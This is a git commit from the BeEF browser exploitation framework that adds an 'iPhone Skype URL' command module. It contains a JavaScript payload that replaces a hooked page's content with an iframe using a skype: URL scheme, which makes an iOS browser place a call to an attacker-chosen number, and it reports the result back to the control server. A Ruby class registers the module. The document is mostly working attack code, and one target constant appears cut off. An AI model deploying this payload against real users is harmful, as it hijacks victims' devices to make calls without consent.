issue 149 : iphone skype calling module

git-svn-id: https://beef.googlecode.com/svn/trunk@584 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
xntrik
2010-11-27 09:21:27 +00:00
parent 90c885ad36
commit ce79a9a12e
2 changed files with 51 additions and 0 deletions

View File

@@ -0,0 +1,5 @@
beef.execute(function() {
document.body.innerHTML = "<iframe src=skype:<%= @tel_num %>?call></iframe>";
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
});

View File

@@ -0,0 +1,46 @@
module BeEF
module Modules
module Commands
class Iphone_skype < BeEF::Command
#
# Defines and set up the command module.
#
def initialize
super({
'Name' => 'iPhone Skype URL',
'Description' => 'Utilise Nitesh Dhanjani\'s Insecure Handling of URL Schemes in iOS to try and make the browser execute a skype call',
'Category' => 'Host',
'Author' => 'xntrik',
'Data' =>
[
[ 'name' => 'tel_num',
'ui_label'=>'Skype Number',
'value' =>'5551234',
'width' => '200px'
],
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::S
}
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Result'] = @datastore['result']
save content
end
end
end
end
end